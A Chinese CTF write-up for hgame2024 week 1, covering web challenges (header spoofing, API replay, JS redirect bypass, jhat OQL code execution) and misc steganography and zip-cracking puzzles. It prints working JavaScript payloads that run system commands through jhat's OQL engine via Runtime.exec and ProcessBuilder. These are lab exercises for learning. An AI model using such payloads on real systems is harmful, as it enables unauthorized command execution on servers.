hgame2024_week1
Web
ezHTTP
不多说了,直接答案
GET / HTTP/1.1
Host: 47.100.137.175:31666
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Vidar; VidarOS x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0
Referer: vidar.club
X-Real-IP: 127.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
最后 flag 在响应体的 Authorization 里,base64 解密一下即可。
Select Courses
看了看前端代码感觉无从下手。
随便 burp 抓包,重放试了试,访问了几个 api,莫名奇妙突然把第一个课选上了。之后又莫名其妙选上了第二个。猜测是类似于抢课的系统,于是果断写代码试了试。
import requests
import json
data = {"id": 5}
url = "http://47.100.137.175:30967/api/courses"
headers = {'Content-Type': 'application/json'}
response = requests.post(url, data=json.dumps(data), headers=headers)
for _ in range(99):
response = requests.post(url, data=json.dumps(data), headers=headers)
print(response.text)
最后成功!
Bypass it
登录失败,测试告诉我不行。抓包发现,其实存在注册界面,只不过因为 js 重定向了
果断禁止此页面 js 代码,然后正常注册即可。
随便注册一个账户,登录即可得 flag。
2048*16
很显然,这题就是读 js 代码。题目对 js 代码做了混淆,我们只需要找到游戏胜利得关键代码即可。
这里的 n 就是 h
因此首先在控制台查看一下 n(453) 也就是 h(453),结果是 game over!
根据这里是个判断语句可以判断出,前面应该游戏胜利之后的 flag。用控制台执行一下就行
注意把 n 换成 h
jhat
关于 java 的知识。卡了好久,根据三个提示:rce,oql,以及题目不出网。
ok,那就看看 oql 的查询界面吧,一开始想到的是通过查询某些东西可以直接得到 flag,但是那样的话就没有 rce。
之后尝试让他报错,发现这个查询实际上就是 java 里的 engine.eval(xxxx)
,执行查询的文本框其实也可以执行 javascript 代码。
这样的话?那我们就可以通过执行恶意 js 代码来实现 rce!
找了好久,才发现有个 java 漏洞叫 jscmd 利用的就是这个!
https://blog.csdn.net/liguangyao213/article/details/123242260
举个例子,可以输入 js 代码来实现调用计算器
var a = mainOutput();
function mainOutput() {var x=java.lang.Runtime.getRuntime().exec("calc");
}
但是对于题目的话,我要的是 flag,而执行的又是 exec,没法进行回显,题目还不出网,咋办呢?
我想到的办法是,将执行命令的结果赋值给一个变量,然后将变量输出,不就可以了嘛,那么怎么写代码呢?
关于 java 的输入输出流的函数也不熟悉,所以完全交给了 chatgpt。
给出的代码修改过后如下,同时也是最终 payload
var a = mainOutput();
function mainOutput() {
var command = "ls";
var processBuilder = new java.lang.ProcessBuilder(command.split(" "));
var process = processBuilder.start();
var inputStream = process.getInputStream();
var inputStreamReader = new java.io.InputStreamReader(inputStream);
var bufferedReader = new java.io.BufferedReader(inputStreamReader);
var line;
var result = "";
while ((line = bufferedReader.readLine()) !== null) {result += line + "\n";}
return result;
}
mainOutput()
最终拿到结果!
Misc
签到
关注公众号拿 flag
simple_attack
给了个压缩包,发现有个图片和一个加密的压缩包。
加密的压缩包里有一个一模一样的图片,直接明文攻击。
这里压缩已知文件的方式需要注意,我反正试了 7zip 和 rar 都不行,最后用了 bandzip。
破解成功后,得到一个 txt 文本,直接 base64 转图片即可。
SignIn
签到题,给了个图片,直接保存到手机从充电口看就行
hgame{WOW_GREAT_YOU_SEE_IT_WONDERFUL}
希儿希儿希尔
图片打开后出现错误,看起来像是长宽高出现了错误。
用脚本爆破一下长宽高。
修改长宽高之后用 foremost 分离一下,会得到张图片和 txt 文件
txt 文件里为一串大写字母。根据题目名称猜测是希尔加密,现在就差密码了。
检查一下原图片的 lsb 隐写,就会得到 key。
来自星尘的问候
根据提示发现是 steghide 隐写,密码尝试一下弱密码 123456
然后得到压缩包,里面的图片内容是一种文字。
根据提示,猜测是游戏《来自星尘》
网上搜对照表可得 flag。
hgame{welc0me!}
写得好啊